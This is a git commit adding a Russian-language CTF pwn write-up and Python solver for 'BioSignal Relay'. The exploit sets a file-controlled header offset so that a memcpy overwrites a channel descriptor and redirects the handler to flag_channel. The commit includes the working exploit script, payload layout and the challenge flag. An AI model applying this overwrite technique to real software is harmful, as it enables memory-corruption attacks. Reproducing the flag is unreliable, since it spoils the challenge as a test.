Init. Commit

2026-09-17 00:50:07 +03:00
commit 880d8698d6
115 changed files with 7611 additions and 0 deletions
@@ -0,0 +1,56 @@
+<h1 align="center">BioSignal Relay</h1>
+
+<p align="center">
+  <img src="https://img.shields.io/badge/category-PWN-blueviolet" alt="PWN"/>
+  <img src="https://img.shields.io/badge/difficulty-hard-critical" alt="hard"/>
+</p>
+
+В раздатке есть ELF `biosignal-relay` с символами и без PIE. Сервис принимает CLP-файл, позволяет выбрать канал и запустить конвертацию. В бинаре есть обработчик `flag_channel`. Для получения флага нужно вызвать его при конвертации.
+
+## Решение
+
+При анализе ELF находим структуру загруженного файла. Таблица каналов лежит сразу за 64-байтным буфером заголовка:
+
+```c
+struct channel {
+    uint32_t magic;
+    uint32_t approved;
+    uint64_t handler;
+    char name[32];
+}; // 48 байт
+
+struct labfile {
+    unsigned char header[64];
+    struct channel ch[2];
+};
+```
+
+При конвертации сервис проверяет `magic == 0x43484e31`, `approved == 0x42494f21` и разрешает только два обработчика: `audit_channel` и `flag_channel`. Подходящая функция уже есть в списке разрешённых, поэтому достаточно подставить её адрес.
+
+Смотрим загрузку. Основной заголовок копируется с ограничением, а вот дополнительный — по смещению `hlen`, которое приходит из самого файла:
+
+```c
+memcpy(lab->header, buf, n < 64 ? n : 64);
+size_t extra = n > 16 ? n - 16 : 0;
+if (extra) memcpy(lab->header + hlen, buf + 16, extra);
+```
+
+Ставим `hlen = 64`, чтобы второй `memcpy` начал запись ровно с `ch[0]`. Если после первых 16 байт файла положить поддельный дескриптор, он займёт место настоящего канала.
+
+Адрес `flag_channel` берём из `readelf -sW public/biosignal-relay` и сохраняем числом в переменной `flag_channel`. PIE выключен, поэтому адрес из таблицы символов подходит напрямую. Первые шесть байт файла должны быть `ICLPCL`, следующие два — `hlen` в little-endian. До дополнительного заголовка оставляем восемь нулевых байт, а с позиции `16` размещаем поддельный канал.
+
+```python
+import struct
+
+channel = struct.pack("<IIQ", 0x43484e31, 0x42494f21, flag_channel)
+channel += b"motor-cortex".ljust(32, b"\x00")
+payload = b"ICLPCL" + struct.pack("<H", 64) + b"\x00" * 8 + channel
+```
+
+Получается файл из 16 байт заголовка и 48 байт поддельного канала, всего 64 байта. В пункте `1) upload signal file` на запрос `file bytes:` отправляем строку `64`, затем на `payload:` передаём 64 байта файла без добавленного перевода строки. После этого выбираем `2) convert channel`, канал `0`. Поля `magic` и `approved` содержат нужные значения, а `flag_channel` входит в список разрешённых обработчиков. Проверки проходят, и сервис вызывает `flag_channel`, который выводит флаг.
+
+[Солвер](solve/solve.py).
+
+## Флаг
+
+`caplag{clp_header_extension_rewired_the_channel}`
@@ -0,0 +1,60 @@
+#!/usr/bin/env python3
+import argparse
+import os
+import socket
+import struct
+import subprocess
+import sys
+
+class Tube:
+    def __init__(self, sock=None, proc=None):
+        self.sock = sock
+        self.proc = proc
+    def recv(self, n=4096):
+        if self.sock:
+            return self.sock.recv(n)
+        return os.read(self.proc.stdout.fileno(), n)
+    def send(self, data):
+        if self.sock:
+            self.sock.sendall(data)
+        else:
+            os.write(self.proc.stdin.fileno(), data)
+    def sendline(self, data):
+        self.send(data + b"\n")
+    def recvuntil(self, marker):
+        out = b""
+        while marker not in out:
+            chunk = self.recv(1)
+            if not chunk:
+                raise EOFError(out)
+            out += chunk
+        return out
+
+def symbol_value(binary, name):
+    out = subprocess.check_output(["readelf", "-sW", binary], text=True)
+    for line in out.splitlines():
+        fields = line.split()
+        if len(fields) >= 8 and fields[-1] == name:
+            return int(fields[1], 16)
+    raise RuntimeError(f"symbol not found: {name}")
+
+def connect(args):
+    if args.local:
+        env = os.environ.copy()
+        env["CTF_FLAG"] = args.flag
+        proc = subprocess.Popen([args.binary], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env)
+        return Tube(proc=proc)
+    return Tube(sock=socket.create_connection((args.host, args.port), timeout=5))
+
+def choose(io, value):
+    io.recvuntil(b">")
+    io.sendline(str(value).encode())
+
+def main():
+    p=argparse.ArgumentParser(); p.add_argument("--host",default="127.0.0.1"); p.add_argument("--port",type=int,default=31348); p.add_argument("--local",action="store_true"); p.add_argument("--binary",default="../public/biosignal-relay"); p.add_argument("--flag",default="caplag{clp_header_extension_rewired_the_channel}"); args=p.parse_args()
+    target=symbol_value(args.binary,"flag_channel")
+    ch=struct.pack("<IIQ",0x43484e31,0x42494f21,target)+b"motor-cortex\x00".ljust(32,b"\x00")
+    frame=b"ICLP"+bytes([0x43,0x4c])+struct.pack("<H",64)+b"\x00"*8+ch
+    io=connect(args); choose(io,1); io.recvuntil(b"file bytes:"); io.sendline(str(len(frame)).encode()); io.recvuntil(b"payload:"); io.send(frame)
+    choose(io,2); io.recvuntil(b"channel:"); io.sendline(b"0"); data=io.recvuntil(b"}"); print(data[data.rfind(b"caplag{"):].decode())
+if __name__=="__main__": sys.exit(main())